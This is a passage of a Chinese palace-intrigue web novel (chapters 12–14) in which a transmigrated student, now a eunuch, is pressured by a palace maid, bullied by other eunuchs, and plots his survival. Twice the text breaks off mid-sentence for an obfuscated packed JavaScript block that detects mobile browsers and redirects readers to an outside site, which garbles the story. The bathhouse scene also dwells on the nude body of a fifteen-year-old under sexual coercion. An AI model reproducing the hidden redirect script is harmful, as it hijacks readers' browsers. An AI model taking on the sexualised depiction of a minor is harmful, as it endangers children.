浴堂通往寝殿内部的那扇门,被轻轻推开了。 柔和的光线透了进来。 光晕之中,一道清冷的女声徐徐响起: “我还在想,是哪个胆大包天的小贼,竟敢夜闯浴堂……原来,是你。” 12. 第 12 章 柔和的光线从推开的门缝中流淌进来,驱散了浴堂一角的黑暗,也清晰地勾勒出站在门口那人的轮廓。 正是青黛。 她一手提着一盏精致的八角宫灯,灯罩上绘着淡雅的兰草,另一只手随意地搭在门扉上。 “哗啦——!” 关禧本能地从水中站起,带起一片水花。冰冷的空气骤然包裹住躯体,他僵住,随即才意识到自己未着寸缕,慌忙沉回水中,只将头肩露出水面,双臂紧紧环抱在胸前,整个人蜷缩起来。 “青、青黛姐姐……” “我……小的该死!小的罪该万死!” 他声音发颤,身体因恐惧激起圈圈涟漪。水珠从湿发滚落,划过脸颊与纤细的颈,流过明晰的锁骨,最终没入池中。氤点的雾气稍掩水面,昏黄的灯光却仍淡淡勾勒出少年清瘦而初具线条的躯体。 单薄的胸膛,紧窄的腰身,以及…… 青黛的目光如水拂过微澜,掠过他半隐在波光中的锁骨,随呼吸轻伏的胸线,再向下,是没入水影深处的腰腹轮廓。最后,视线微微一顿——那里因旧日手术而留下的痕迹,即便在蜷缩的姿态与水光的遮掩下,仍依稀可辨属于男性的部位。 关禧顺着她的目光低头,陡然意识到了什么,腾出一只手慌乱地向下捂去,另一只手仍死死抱着胸,整个人呈现出一种极度扭曲和羞耻的防御姿态,他的灵魂是女性,可这具身体,这具身体以如此不堪的方式暴露在另一个女性面前…… “小的……小的只是……身上实在太脏了……求姐姐饶命!求姐姐饶了小的这一次!” 他语无伦次地哀求,眼泪混着脸上的水珠滚落,分不清是池水还是泪水,他不敢想象等待自己的会是什么。 私闯昭仪娘娘浴堂,秽乱宫闱,任何一条都足以让他被乱棍打死。 青黛未应声,只提着灯,缓缓往前走了几步,停在池边。宫灯的光晕将关禧惨白惊恐的脸照得更加清晰,也将他浸泡在水中因为光线和水波折射而半隐半现的身体笼罩其中。 “饶命?”青黛终于开口,听不出怒意,“你可知,这是什么地方?” “这是娘娘的浴堂……”关禧把头埋得极低,恨不得整个人沉入水底。 “是啊,娘娘的浴堂。”青黛重复了一句,日光仍落在他身上,似在端详一件意外被打湿的珍贵瓷器,“小离子,你这胆子,倒比我想象的还要大得多。看来,你身上藏着的秘密,远不止表面上看起来这么……安分守己。” 关禧心脏狂跳,不敢接话,只觉得青黛的目光像能穿透皮肉,窥见他来自异世的魂。 “从你刚被王公公挑中,净身之后被人从蚕室抬出来,像块破布一样扔在通铺上等死的时候,我就留意到你了。”青黛又道,声音不高,在空旷的浴堂里带着回音,“王公公眼光确实毒。你这身骨相,生得是真好。好到……连陛下那样的人,看了名册画像,都难得地过问了一句。” 陛下……过问? 关禧如坠冰窟,浑身冰冷。悬在头顶的利剑,原来一直未曾移开。 “可惜啊,”青黛话锋一转,“王公公那人,贪心不足,既想用你这张脸攀附天颜,又舍不得马上把你献出去,总想奇货可居,或是用你在别处先换些好处。这才让你在派办处蹉跎了些时日,也才让我……和娘娘,有了机会。” 她提着灯,又靠近了一步,昏黄的光线几乎笼罩了关禧全身,“我要你来承华宫,一是看中你确实机敏,心思细,能用。这二嘛……”她的目光再次流连在关禧那张即使惊恐也难掩绝色的脸上,以及水下那具年轻的躯体,语气变得有些微妙,“自然也是看中了你这份……难得的颜色。” 关禧紧咬下唇,屈辱得浑身发颤。 青黛却似未见,自顾自地说了下去,声音压得更低,像带着钩子,直往人心里钻:“小离子,你进宫时间短,但有些事,稍微留心也该看出些端倪。陛下登基数年,为何至今连一位皇子帝姬都未曾诞下?你当真以为,是诸位娘娘主子们的问题吗?” 关禧一怔,隐约捕捉到了什么,又不敢深思。 青黛看着他眼中闪过的惊疑,轻笑一声,那笑声在寂静的浴堂里显得格外清晰,也格外刺耳,“陛下他……根本不好女色。否则,为何会设净舍,为何会偏爱你们这些半割的俊俏内侍?我们这些娘娘,名义上凤冠霞帔,尊贵无比,实则……不过是这深宫里,另一群守着活寡的可怜人罢了。” 原来如此,难怪小离子这样的半割之身会被特意挑选,难怪侍寝的内侍下场多是不好…… 皇帝他,根本就是…… “娘娘们尚且如此,何况我们这些跟在身边的宫女呢?”青黛话音添了一丝幽怨,她的目光如同实质,缓缓扫过关禧浸在水中的身体,从纤细的颈,到单薄的胸膛,从那纤细的脖颈,再到紧窄的腰肢,最后停留在那被他死死捂住的下身。 “长夜漫漫,宫墙寂寂……有个知情识趣、模样又可心的人在身边,排解些寂寞,总好过对着冰冷的宫灯,一夜夜数着更漏,直到红颜老去,枯骨成灰,你说……是不是?” 话音落下,浴堂内陷入了一片死寂。 只有宫灯燃烧时细微的噼啪声,和关禧急促的喘息声,他以为自己逃离的是成为皇帝玩物的命运,却没想到,刚出虎口,又可能落入另一个同样可怕的境地。 看着关禧那副濒临崩溃却强撑的模样,青黛眼中的神色更深了。她缓缓伸出手,那保养得宜的纤指,似要触碰关禧湿透的脸频,或是他轻颤的肩。 “现在,你可以好好想想,是愿意被送回王公公那里,等着不知何时被送到陛下跟前,生死由命?还是……留在承华宫,乖乖听我的话?” 青黛的话像冰锥,凿穿了关禧最后一点侥幸的幻想。皇帝不好女色,却偏爱这些半割的内侍……那被送上去的下场,恐怕比死更不堪。而眼前这位看似清冷的掌事宫女,话语里的暗示与威逼,同样令人胆寒。 两个选择,都指向屈辱和丧失自我。 可电光石火间,那属于关禧,来自现代的灵魂,狠狠掐断了濒临崩溃的神经。 服侍那个心理扭曲的皇帝?绝不! 那……服侍眼前这位香软却深不可测的姐姐? 屈辱吗?当然屈辱,恶心吗?想到要用这具男子的身体去……就胃里翻涌。 可她关禧骨子里喜欢的,本来就是女人,虽然这种喜欢在十七年循规蹈矩的学生生涯里,更多是懵懂的好感和对同性的亲近依赖,从未宣之于口,但在此刻绝境下,这点隐秘的取向认知,竟成了天平上一个意想不到的砝码。 服侍一个变态皇帝,和……应付一个深宫寂寞,可能同样扭曲但至少是女性的青黛? 这根本不需要选。 求生的本能和那点隐秘的倾向混杂在一起,催生出一个看似屈服,实则蕴含算计的决定。他必须抓住眼前这根看似同样有毒,或许毒性稍缓的稻草。他需要时间,需要缓冲,需要在这承华宫先站稳脚跟。 几乎是青黛话音落下的瞬间,关禧做出了反应。 他没有再试图遮掩身体,就着那湿透狼狈,半遮半掩的姿态,向前一扑,重重地将额头磕在了浴池冰凉的汉白玉边缘上。 “咚!” 一声闷响,在寂静的浴堂里格外清晰。 他没有丝毫犹豫,紧接着是第二下,第三下……力道不轻,额前迅速泛起红痕。 “青黛姐姐!小的错了!小的猪油蒙了心,小的该死!”他抬起头,脸上湿漉漉的分不清是水是泪,眼眶通红,像极了那些宫廷剧里走投无路,只能将全部希望寄托于上位者一丝怜悯的小的。 “姐姐!求姐姐给小的一条活路!小的愿留在承华宫,愿为姐姐当牛做马,肝脑涂地!小的这条贱命是姐姐和娘娘捡回来的,小的什么都听姐姐的!只求姐姐……只求姐姐垂怜,给小的一个效忠的机会!” 他一边说,一边再次磕头,姿态卑微到了极致,湿发黏在苍白的额角和脸颊,更添几分凄楚可怜,在这种时候,任何犹豫,任何谈条件都是找死,必须先表忠心,把自己彻底摆到砧板上,让对方觉得已经完全拿捏。 青黛伸出的手顿在了半空,看着关禧这突如其来激烈又卑微的表演,眼中闪过一丝讶异,随即又化为更深的玩味。 这小太监,反应倒快,也够狠得下心对自己。 关禧伏在池边,感觉青黛的目光像针一样刺在背上,他知道光是这样还不够,必须加上一点诚意,一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892383|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让对方觉得可以掌控,又不至于立刻就要兑现用途的诚意。 他微微抬起湿漉漉的脸,眼神躲闪,声音压得更低,断断续续: “况且……况且小的……小的的身子……之前伤得实在太重,虽侥幸捡回一条命,但……但终究未好利索。有些地方……至今仍时感隐痛,恐、恐难……难堪大用。只怕……只怕会扫了姐姐的兴致,反是不美……” 他说着,脸上腾起一片因为羞耻的红晕,眼神慌乱地飘向自己掩在水下的下身,又触电般移开,长长的睫毛被泪水浸湿,簌簌颤抖,将一个因重伤未愈,心有余而力不足,又恐惧又羞愧的小太监演得入木三分。 十五岁,在这个时代,富贵人家的少爷或许已通晓人事,但小离子出身贫寒,入宫前营养不良,入宫后又遭去势重创,缠绵病榻许久,如今虽表面好转,但落下点隐疾,岂不是合情合理?这是他能想到最直接,也最可能暂时搪塞过去的理由。 浴堂内陷入了短暂的寂静,只有宫灯烛火轻微的哔剥声。 青黛缓缓收回了停在半空的手,指尖的蔻丹在灯光下泛着幽微的光泽。她打量着关禧,目光在他额头的红痕,纤细紧绷的身体,以及那故作羞愧躲闪的眼神上流转。 “伤未好利索?”她重复了一句,语气听不出喜怒,“王公公倒是心急,还没调理妥当,就敢往派办处塞。” 这话似是指责王公公,又像是接受了关禧的解释。 关禧伏在地上,心脏狂跳,不敢接话。 良久,青黛终于轻轻吁了口气,那声音里带着一丝若有若无的叹息,不知是为关禧,还是为这深宫寂寥的夜晚。 “罢了。”她淡淡道,语气恢复了平日那种带着距离感的平稳,“既然你愿意留下,也还算识趣。今晚之事,我便当没看见。你身子既然不便,便好生将养着。娘娘那边,自有我去说。” 她顿了顿,眼神微冷:“不过,小离子,你要记住今天说的话。在这承华宫,眼睛放亮些,手脚勤快些,该你知道的知道,不该你知道的,把嘴闭紧。你的用处,不在于一时。若有二心,或是不听吩咐……” 后话未尽,寒意已明。 关禧立刻重重磕头,“小的不敢!小的谢姐姐不杀之恩!谢姐姐给小的机会!小的此生必忠于娘娘,忠于姐姐,绝无二心!” “起来吧。”青黛终于说道,脸上没有什么表情,既无被取悦的满意,也无被冒犯的恼怒,“把身上擦干,穿上衣服,悄悄回去。今晚,你从未离开过你的房间。” “是!小的明白!”关禧如蒙大赦,连忙从冰冷的池水中爬出,也顾不上擦拭,胡乱套上那身太监袍。 青黛不再看他,提着宫灯,转身,缓缓走向通往寝殿的那扇门。在推门离开前,她脚步微顿,侧过半边脸,灯影在她侧颜上投下暧昧的阴影。 “好好养着。”她的声音飘过来,很轻,却带着不容置疑的意味,“我会……看着你的。” 门轻轻合拢,将柔和的光线与那道青色身影一同带走。 浴堂重新陷入昏暗,只余下透气窗棂透入的微薄月光,和池中涟漪未平的水面。 关禧脱力般地滑坐在池边,大口大口地喘着气,心脏还在狂跳,后背有被冷汗浸透,与池水混在一起,一片冰凉。 他赌赢了第一步。 用最快的滑跪和半真半假的隐疾借口,暂时稳住了青黛,保住了留在承华宫的机会。 但这只是开始。 青黛和冯昭仪究竟想从他这里得到什么?仅仅是一个容貌出众,心思细腻的工具人?还是另有所图?那句“排解寂寞”是试探,是玩笑,还是某种危险的预告? 而他的身体……十五岁的少年躯体,在逐渐恢复健康之后,会不会真的出现他无法控制,属于男性的生理反应?到那时,这个借口还能用多久? 关禧伸手,撩起池中冰冷的积水,用力泼在自己滚烫的脸上。 不能停下,不能松懈。 他必须更快地获取冯昭仪的信任,找到自己不可替代的价值,同时,继续寻找任何可能回归现代,或者至少彻底逃离这个牢笼的线索。 在这吃人的深宫里,他就像走在万丈悬崖边的细丝上,一步踏错,便是粉身碎骨。 13. 第 13 章 卯时三刻,天光初透。 关禧已换上了干爽的靛青色太监服,对着水盆里模糊的倒影,仔细将最后一丝头发抿入帽中,随即推开房门。 承华宫的清晨安静得有些肃穆,远处隐约传来洒扫庭除的沙沙声。 按照青黛昨日的吩咐,他该去前殿西侧书斋候命。 可刚穿过一道月亮门,踏入通往书斋的廊庑,迎面便遇上了三个同样穿着靛青色太监服,正抬着水桶往膳房方向去的太监。 看服色,与他一样,都是承华宫的二等内侍。 为首的是一个面皮微黄,身材略胖的太监,约莫二十出头,眉毛稀疏,眼神带着股油滑的审视。他身后两人一高一矮,高的那个吊梢眼,矮的那个一脸雀斑,都正打量着关禧。 关禧停下脚步,侧身避让,微微垂首,算是行礼。 那胖太监脚步没停,抬着的水桶晃了晃,几滴浑浊的污水溅出来,恰好落在关禧刚擦干净的靴面上。 “哟,没长眼啊?挡着道了!”胖太监先发制人,吊梢嗓子带着刻意拔高的不满。 关禧抬眼,对上对方毫不掩饰的打量和那一丝挑衅,将腰弯得更低些,声音平静:“对不住,这位哥哥,是我没留意。哥哥们辛苦。” 矮个雀斑太监嗤笑一声:“哥哥?谁是你哥哥?新来的,懂不懂规矩?见了曹公公,还不问安?” 原来这胖太监姓曹。关禧从善如流,改口道:“曹公公。” 曹旺从鼻子里哼出一声,水桶也没放下,就着抬桶的姿势,上下下扫视关禧,目光在他过分精致的五官上流连片刻,撇了撇嘴:“你就是那个……小离子?王公公那儿过来,青黛姐姐亲自安排住单间的?” “是。”关禧答得简短。 “呵,能耐不小啊。”曹旺拖长了调子,眼神里的嫉妒不加掩饰,“一来就占了好位置,也不知道使了什么手段,哄得青黛姐姐高兴。” 高个吊梢眼阴阳怪气地接话:“还能有什么手段?不就凭那张脸呗。咱们承华宫,什么时候缺过踏实干活的?缺的就是这种……嗯,模样周正的。” 这话里的恶意和影射,再明显不过。旁边路过的两个洒扫小宫女听见,飞快地瞥了关禧一眼,又低下头匆匆走了。 关禧袖中的手微微收紧,指甲掐进掌心,脸上却依旧没什么表情,只重复道:“我初来乍到,诸多不懂,还请曹公公和两位□□后多提点。” “提点?”曹旺嗤笑,“我们可提点不起。青黛姐姐看重的人,自然有好前程。咱们这些粗使笨拙的,也就配干些抬水洒扫的活计。行了,别杵这儿碍事,该干嘛干嘛去!” 说着,故意又晃了一下水桶,这才大摇大摆地带着两人从关禧身边挤了过去,那矮个的还“不小心”用肩膀撞了他一下。 关禧被撞得踉跄半步,站稳后,回头看了一眼那三人的背影,眼神幽深。他拍了拍靴面上那点污渍,整理了一下衣袍,继续朝书斋走去。 书斋里,青黛已经到了,正在整理案上的几份文书,见关禧进来,她抬眼看了看,指了指昨日那张小书案,“今日先把这些核对完。” 她推过一摞新的册子,是关于去岁秋冬各宫炭火用度的记录,“重点留意玉芙宫、缀锦宫、还有……长春宫。”说出最后一个宫名时,语气有片刻极其细微的凝滞。 长春宫?关禧心中记下,那是李婕妤的住处,一位并不得宠,几乎没什么存在感的低位妃嫔。冯昭仪为何要特意留意那里? 他不敢多问,应了声“是”,便坐下开始工作。 书斋里很安静,只有纸张翻动的沙沙声和笔尖划过纸面的细微声响。青黛偶尔会起身出去处理别的事情,留关禧一人在此。 晌午时分,一个小宫女提着食盒进来,轻手轻脚地放在关禧案边,又对青黛行了一礼,便退下了。食盒里是两菜一汤并一碗米饭。 关禧正准备用饭,书斋的门又被推开了。曹旺端着个托盘走了进来,托盘上是青黛的午膳,显然比关禧的又要丰盛些。 “青黛姐姐,您的午膳。”曹旺满脸堆笑,将托盘小心放在青黛案头,眼角余光瞥向关禧案上的食盒,看清菜色后,脸上的笑容淡了些,眼神更沉。 青黛点点头:“放着吧。小离子,你也先用饭。” “谢姐姐。”关禧这才拿起筷子。 曹旺却没立刻走,站在青黛案旁,搓着手,似是有话要说:“姐姐,后殿东厢廊下那几盏宫灯,灯罩旧得厉害,是不是该换换了?还有,小花园西北角那处青砖松动了,下雨容易溅泥,您看……” 青黛一边用饭,一边淡淡应着:“嗯,灯罩去内务府支领,记档。青砖松动找修缮处的来看,报个单子过来。” “是是是。”曹旺连连应声,又状似无意地看了一眼埋头吃饭,两耳不闻窗外事的关禧,笑道,“这些琐事本不该拿来烦姐姐,只是……如今咱们宫里添了新兄弟,也不知道这位小离子兄弟擅长些什么活计?小的们也好分派,免得他闲着,或者……耽误了姐姐交代的正事。”他刻意在“正事”上咬了重音。 关禧夹菜的手几不可察地顿了一下,继续将一筷子清炒豆芽送入口中,细嚼慢咽。 青黛放下银箸,拿起帕子拭了拭嘴角,这才抬眼看向曹旺,语气平静:“小离子是娘娘特意调来协助整理文书的,这些粗使活计,不必烦他。你们各司其职便是。” 曹旺脸上的笑容僵了僵,眼底掠过一丝不甘,但很快掩饰过去,点头哈腰:“是,小的明白了。那……小的不打扰姐姐用膳了。”他躬身退下,临出门前,又飞快地剜了关禧一眼。 关禧始终没有抬头,直到曹旺的脚步声消失在门外,他才慢慢咽下最后一口饭。青黛的话看似维护,实则也把他放在了特殊的位置上,更易招致嫉恨。而且,这协助整理文书的职司,看似清贵,实则是将他与承华宫其他太监的日常彻底割裂开来,既是一种保护性的隔离,也可能是一种孤立。 下午核对炭火记录时,关禧果然发现了些许端倪。玉芙宫的用炭量在去岁冬月异常偏高,且多次以“昭容畏寒”为由额外支领了昂贵的银骨炭。而长春宫的李婕妤,记录显示她份例内的黑炭都未曾领足,有一次甚至批注“体弱畏烟,减半”。 一边是烈火烹油,奢靡无度,一边是冷灶冰窖,艰难度日。 这后宫冷暖,跃然纸上。 关禧将这两处异常仔细标记,附上简要对比。他不知道冯昭仪要这些信息具体何用,但做好本分,呈现价值,是他目前唯一能做的。 接下来的几天,类似的排挤和孤立不断上演。 用膳时,他的食盒总是最后被送来,有时甚至温凉。去茶水间取水,常遇到恰好没水或水未烧开。他负责的区域,洒扫的粗使太监总会遗漏一些角落。路上遇见曹旺那一伙人,冷嘲热讽,指桑骂槐更是家常便饭。 同住一片排房的其他低等太监宫女,见他独居一室又得青黛青眼,大多也避而远之,不愿与他多有交集,怕惹上是非。只有个别年纪极小,尚未被这深宫完全浸透的小宫女或小太监,偶尔会偷偷递给他一个好奇或略带同情的眼神。 关禧全都默默受了。 他清楚自己的处境。初来乍到,根基全无,唯一的倚仗是冯昭仪和青黛那点尚未可知的看重。这看重如同空中楼阁,随时可能坍塌。任何一点反抗或抱怨,都可能成为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892384|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人攻讦的借口,甚至可能让青黛觉得他不堪用,惹麻烦。 他必须忍耐,必须像一株石缝里的野草,先牢牢抓住一点泥土,扎下根,再图生长。 他将所有精力都投入到青黛交代的文书工作中,力求完美。闲暇时,也绝不四处乱逛,要么待在书斋,要么就在自己小屋附近活动,绝不给人留下任何把柄。对于曹旺等人的挑衅,他永远低眉顺眼,错处全揽在自己身上,态度恭顺到近乎懦弱。 这副逆来顺受的样子,让曹旺等人更加得意,却也渐渐觉得无趣。 毕竟,拳头打在棉花上,终究没什么意思。 可,关禧的内心从未停止盘算。他在默默观察,观察承华宫的人事关系,观察冯昭仪处理宫务的风格,观察青黛的一举一动。他也在等待,等待一个能让他稍微扭转局面,或者至少获得一点点自主空间的机会。 这天傍晚,关禧核对完一批器物修缮记录,正准备将册子交还给青黛,却发现青黛不在书斋。他等了一会儿,仍不见人回来,便将册子整齐放好在青黛案头,自己退了出来。 走到廊下,正看见曹旺正指挥着两个小太监,笨手笨脚地试图更换檐下一盏损坏的宫灯。那灯位置颇高,需要搭梯子。两个小太监显然有些畏高,梯子架得歪斜,曹旺在下面骂骂咧咧。 关禧脚步顿了顿。他原本想绕道走开,目光扫过那盏宫灯和下面摆放的工具时,心头微微一动。 他在现代动手能力不差,家里的电灯电器简单维修没少干。这种宫灯结构看似复杂,无非是灯座,灯罩,悬链和内部烛台。眼前这盏,似乎是固定灯罩的卡榫因锈蚀或撞击松脱了。 眼看一个小太监战战兢兢爬上去,摸索半天却不得要领,差点把灯罩摔下来,曹旺在下面急得跳脚:“蠢货!笨死算了!这点事都做不好!” 关禧抿了抿唇,终是走了过去,在曹旺身后两步处停下,低声道:“曹公公,我……我或许可以试试。” 曹旺回头,见是他,先是一愣,随即满脸不耐烦:“你?你来添什么乱?一边去!别碍事!” 关禧不退反进,指了指那灯罩:“我看,好像是灯罩上方这个铜片卡扣松脱了,钩不住悬链上的环。若能将它扳正,或者找个细铁丝暂时固定一下,或许就能挂稳。” 曹旺将信将疑,抬头看了看。旁边那个刚从梯子上下来的小太监也小声嘀咕:“好像……真是那里松了。” “你会弄?”曹旺斜睨着关禧,语气不善,但少了几分暴躁。 “我在家时,见过匠人摆弄类似的东西,可以一试。若不行,再想他法。”关禧没有把话说满。 曹旺犹豫了一下,眼下确实没别的办法,青黛交代了今晚必须换好。他挥挥手,没好气道:“那你就试试!小心点,弄坏了仔细你的皮!” 关禧没再多言,走到梯子旁。他先检查了一下梯子的稳固性,稍微调整了角度,然后才利落地爬了上去,动作远比刚才那小太监沉稳。他仔细观察了一下卡扣的情况,从袖中摸出那根磨尖的铜簪,小心地伸进缝隙,轻轻撬动,扳正变形的铜片,又让下面的人递上一小段捆扎东西用的细麻绳,灵活地缠绕固定了几下。 “好了,曹公公,可以挂上试试。”他下来,退到一边。 曹旺狐疑地让人将灯罩挂上去。咔哒一声轻响,灯罩稳稳挂住,严丝合缝。 两个小太监松了口气。曹旺脸色变幻,盯着关禧看了几眼,哼了一声:“倒是有点歪门邪道的手艺。”话虽如此,那股显而易见的敌意淡了一丝丝。 关禧垂首:“侥幸而已。若没什么吩咐,我先告退了。” “去吧去吧。”曹旺挥挥手。 14. 第 14 章 夜深了,皇城的梆子声遥遥传来,一声,又一声。 关禧吹熄了灯,和衣躺在床铺上,睁着眼,望着头顶模糊的帐幔。 “爹的,这日子什么时候是个头……” 白日里那些屈辱,忍耐,算计和小心翼翼,像潮水一样在寂静中退去,露出底下更尖锐,更无解的焦虑。 关于穿越本身。 人一闲下来,就开始胡思乱想。 那个晚自习的教室。惨白的日光灯,唰唰的笔尖摩擦声,还有数学卷子上最后那道扭曲的函数图像……心脏那一下尖锐的刺痛,眼前骤然一黑。 然后呢? 没有白光,没有系统提示音,没有“叮!宿主绑定成功!”——什么都没有。就像断电的电脑,啪,直接黑屏,再开机,就成了裹在草席里,下身剧痛,恶臭熏天的小太监。 “这不科学啊……”他喃喃自语,对着空气发出二十一世纪灵魂的质问,“别人穿越,好歹有个玉佩,祖传戒指,或者被雷劈一下当媒介吧?我算什么?写数学题写到猝死,附赠穿越体验券?还特么是地狱难度的太监体验卡?” 金手指?系统?空间?老爷爷? 没有,统统没有。活到现在,从停尸房诈尸,到在净舍挺尸,再到文书房,派办处,直到现在这看似安稳实则更危险的承华宫,全靠他这还算灵光的小脑袋瓜,和……这具身体原主留下的,过于惹眼的美貌。 美貌?关禧在黑暗中扯了扯嘴角,露出一个比哭还难看的笑。这算什么金手指?在这吃人的后宫,无权无势的美貌,尤其是他这种身份下的美貌,根本就是催命符,是随时可能被献祭的羔羊,是王公公奇货可居的筹码,是青黛眼中排解寂寞的潜在玩物,是其他太监嫉恨的源头。 至于宫斗?他一个十七岁的高中生,人生最大的战斗经验是和数学题死磕,和父母关于晚上能不能多玩一小时游戏的辩论,以及……偷偷看小说时和班主任的斗智斗勇。 他看过《**传》,刷过一些宫斗剧,知道“一丈红”,“麝香”,“堕了么订单”,可那和亲身经历是一回事吗? 那些剧里的主角,哪个不是家世显赫,自带光环,或者有逆天运气?再不济,也有个忠心耿耿的丫鬟嬷嬷出谋划策。他有什么?一个胆小的石头?一个心怀叵测的青黛?一个深不可测的冯昭仪?还有一群虎视眈眈,等着揪他错处的同事? 他懂历史吗?知道这个“晟”朝是哪个平行时空的产物吗?不知道。他懂药理吗?能分辨出香料里有没有掺东西吗?不能。他懂人心吗?能看透冯昭仪温和表面下到底在谋划什么吗?看不透。 他唯一的优势,可能就是来自信息爆炸时代的思维方式,一些基础的逻辑和科学常识,以及……被高考磨砺出来的,死磕到底的韧劲。可这些,在真正的宫廷倾轧,生死博弈面前,够用吗? 今天他能靠一点小聪明修好宫灯,暂时缓解曹旺的敌意。明天呢?后天呢?青黛那句“好好养着,我会看着你”,像一道无形的枷锁。冯昭仪让他整理的那些不合规制的用度记录,又究竟意欲何为?是真要整顿宫闱,还是想抓住谁的把柄? 他感觉自己像被抛进了一个没有攻略的生存游戏,地图全黑,NPC个个心怀鬼胎,任务目标不明,血条还短得可怜。 “冷静,关禧,冷静……”他用力掐了自己大腿一把,疼痛让纷乱的思绪稍微集中,“不能自乱阵脚。没有系统,那就自己当系统。没有外挂,那就发掘自身优势。” 他开始强迫自己复盘,像解数学题一样,列出已知条件和未知数。 已知:穿越成了太监小离子,身份卑贱,但容貌出众,劣势大于优势。身处晟朝后宫,皇帝有特殊癖好,侍寝风险极高。目前依附于承华宫冯昭仪,直属上司是掌事宫女青黛,两人目的不明,但暂时需要他,可能是文书能力,也可能是其他。同僚关系紧张,有以曹旺为首的排挤势力。 未知:穿越原因及能否回去,首要长期目标。冯昭仪的真实意图和宫斗站位。青黛的兴趣会发展到哪一步。皇帝那边的风险何时会再次降临。自身的隐疾借口能用多久。 需求:短期自保,获取冯昭仪更多信任,在承华宫站稳脚跟。中期目标是获取更多信息,了解这个世界,寻找可能的出宫或回归线索。长期……要么找到回去的方法,要么在这深宫爬到足够高,高到能掌控自己命运的位置。 优势:超越时代的思维,需谨慎应用。尚可的观察力和记忆力。逐渐恢复的身体。在派办处和承华宫接触信息的机会。冯昭仪目前提供的保护伞。 劣势:一切。身份,性别认知混乱,孤立无援,缺乏古代生存技能,对宫廷阴谋毫无经验。 “所以,目前的核心任务,还是当好冯昭仪的文书工具人。”关禧盯着帐顶,眼神逐渐聚焦,“把青黛交代的每一件事做到极致,从中提炼出有价值的信息,但绝不主动打听,不妄加猜测。同时,观察,持续观察冯昭仪处理宫务的方式,她与各宫的关系,她的喜好和忌讳。” “对青黛,继续维持感恩戴德、身体不便、忠心可用的人设,保持距离,绝不主动靠近,但也不抗拒合理的吩咐。拖,能拖一时是一时。” “对曹旺之流,继续隐忍,但可以像今天修灯一样,在无关紧要、不涉及核心利益的小事上,偶尔展现一点无关美貌的实用价值,慢慢扭转纯粹靠脸上位的刻板印象,减少一些无谓的刁难。” “至于回去的方法……”关禧叹了口气,这真是最无解的一环。这个世界有超凡力量吗?有奇人异士吗?他连宫墙都难出去,上哪儿找去?只能寄希望于在整理那些陈年卷宗时,发现一些关于奇闻异事,玄学方术的记载,哪怕只是只言片语…… 想着想着,疲惫终于压倒了焦虑。眼皮越来越沉,意识模糊前,最后一个念头是: “宫斗?斗个屁……先活过这个月再说吧。” 窗外,夜色浓稠如墨,更深露重。 承华宫的寂静之下,暗流从未停歇。 前殿书斋的灯还亮着。 青黛将一份刚刚收到的密函就着烛火点燃,看着纸页蜷曲,化为灰烬。 冯媛披着一件外袍,坐在书案后,手里拿着的,正是关禧今日整理好的,关于长春宫李婕妤炭火用度的记录。她的指尖轻轻划过那句“体弱畏烟,减半”,秋水般的眸子里,映着烛光,深不见底。 “娘娘,”青黛轻声回禀,“王公公那边递了话,问小离子在承华宫可还安分,言语间似有试探。” 冯媛放下纸页,端起早已凉透的茶,轻轻呷了一口,才缓缓道:“告诉他,人本宫用着顺手,暂且留着了。陛下那边……自有分寸。” “是。”青黛应声,稍作迟疑又道,“那小离子,确实机灵。今日曹旺几人刻意刁难,他倒默默修好了檐灯,反让曹旺落个没趣。” “哦?”冯媛抬眼,似乎有了一丝兴趣,“倒不是个只会忍气的。” “心思也沉得住气。”青黛补充,“只是,他似乎总有些……魂不守舍的时候,像在琢磨什么。” 冯媛沉默了片刻,目光投向窗外沉沉的夜色。 “由着他琢磨吧。”她的声音很轻,像一片羽毛落在寂静里,“这宫里,谁心里没点琢磨呢?只要……他的琢磨,别出了格就行。” 烛火“噼啪”一声,爆开一朵小小的灯花,映得冯媛沉静的侧颜忽明忽暗。青黛垂首应是,将那灰烬仔细拢入香炉,不留一丝痕迹。 * 日子,便在承华宫这表面宁静,内里紧绷的节奏中,一天天滑过。 关禧彻底沉下心来,将自己活成了一块砖,青黛指哪儿,他便砌哪儿。核对账目,誊录文书,归整卷宗,他做得愈发得心应手,标记出 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这日,关禧正在整理一批关于去岁端午各宫节赏发放的旧档。冯媛缓步走了进来,青黛跟在她身后。 “娘娘。”关禧立刻起身,垂首行礼。 “嗯。”冯媛的目光掠过他案头堆积如山的册页,随口问道,“这些是去岁端午的旧例?” “回娘娘,是的。奴才正在核对各宫领用数目与内务府拨付是否相符,以及有无逾制或短缺。” “可有什么发现?”冯媛走到自己的书案后坐下,语气随意,像是考校。 关禧略一思忖,谨慎答道:“大体无误。只是……玉芙宫徐昭容处,除常规节赏外,额外多领了二十柄苏绣团扇、十匹软烟罗。记录上注明是陛下口谕添赏。”他顿了顿,声音更低了些,“奴才核对过内务府同期进上的总数,与拨付各宫之数略有盈余,但盈余之数……与这添赏之数,似乎对不上。” 这话说得很委婉,但意思明确:皇帝可能确实开口给了额外赏赐,但内务府拨付的东西,要么总数有问题,要么拨给玉芙宫的实际数目与记录不符。 冯媛执起案上一支未蘸墨的狼毫笔,指尖无意识地在笔杆上摩挲了一下,抬眼看向关禧:“对不上?差了多少?” 